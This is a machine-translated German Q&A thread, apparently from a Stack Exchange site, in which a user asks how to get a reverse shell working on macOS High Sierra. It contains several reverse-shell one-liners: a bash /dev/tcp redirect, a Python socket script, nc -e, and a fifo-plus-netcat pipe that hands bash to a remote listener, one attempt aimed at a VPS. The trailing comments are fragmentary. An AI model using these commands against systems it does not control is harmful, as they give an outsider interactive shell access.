Ich versuche, mit High Sierra einen Reverse-Shell-Listener zu erstellen, aber nichts scheint zu funktionieren.
Der Bash-Befehl hängt einfach im Terminal und läuft ab.
bash -i >& /dev/tcp/0.0.0.0/8080 0>&1
Die Python-Befehlsfehler mit „Verbindung verweigert“ bei Verwendung von Python oder Python v2.7.
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
die netcat-Befehlsfehler mit „nc: ungültige Option -e“
nc -e /bin/bash 0.0.0.0 8080
Ich habe andere Lösungen ausprobiert, die ich online gefunden habe, aber Sie bekommen die Idee ...
Ist es möglich, mit High Sierra eine Reverse-Shell (vorzugsweise mit Zugriff auf Bash) zu erstellen?
Spezifikationen:
sh-3.2# system_profiler SPSoftwareDataType
Software:
System Software Overview:
System Version: macOS 10.13.4 (17E199)
Kernel Version: Darwin 17.5.0
Boot Volume: lily
Boot Mode: Normal
Computer Name: lily’s MacBook Air
User Name: System Administrator (root)
Secure Virtual Memory: Enabled
System Integrity Protection: Enabled
Time since boot: 2:03
Wenn ich das richtig verstehe, möchten Sie von einer externen Quelle über etwas wie netcat (nc) eine Verbindung zu Ihrem High Sierra-Computer herstellen, Befehle an bash senden und die Antwort anzeigen.
Es gibt sicherere und einfachere Möglichkeiten, dies mit ssh zu tun, aber vorausgesetzt, dies ist eine Art Experiment oder Entwicklungstrick, hier ist, wie Sie das tun können, was Sie verlangen.
Meine Antwort basiert auf einer Antwort, die ich an anderer Stelle auf SE ( https://superuser.com/a/607855 ) gefunden habe, die wiederum auf anderen SO/SE-Antworten basiert.
Machen Sie zuerst ein Fifo:
mkfifo myfifo
Starten Sie dann 'nc' mit dem Fifo als Eingabe, leiten Sie seine Ausgabe an bash weiter und leiten Sie die Ausgabe von bash an das fifo um:
nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
(Das '-i'-Flag für Bash zeigt eine interaktive Shell an und ist für diesen Anwendungsfall möglicherweise nicht wünschenswert.)
Vom Remote-Gerät (in meinen Tests von mir selbst):
nc 127.0.0.1 8080
Wenn Sie die Rollen umkehren möchten, dh die High Sierra-Maschine stellt die Verbindung zum entfernten Gerät her und gewährt dem entfernten Gerät Zugriff auf Bash auf dem HS-Host, würden Sie das Listen-Flag (-l) verschieben. Das Remote-Gerät würde also netcat zuerst im Listen-Modus starten:
nc -l 127.0.0.1 8080
Dann würde sich der High Sierra-Host mit dem Remote-Gerät verbinden:
nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
Lilie
man mkfifo
aber ich verstehe immer noch nicht ganz, was ein Fifo ist, sorry!kein Hang
|
aber mit einem Namen, auf den Sie später verweisen/verwenden können. Betrachten Sie es als einen benannten Kanal, durch den Daten geleitet werden.Bryan Scott
Lilie
$ nc -l 0.0.0.0 8080
, aber bemerkt, dass das Weglassen von-p
nc einen zufälligen Port öffnet, also tue ich esnc -l 0.0.0.0 -p 8080
. dann, von meinem high sierra laptop$ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1
aber das terminal fehlert sofort mit:invalid connection to [vps-ip-address] from () [mac-ip-address] 49247:
Lilie
Lilie
Lilie
$ nc -l -p 8080
Bryan Scott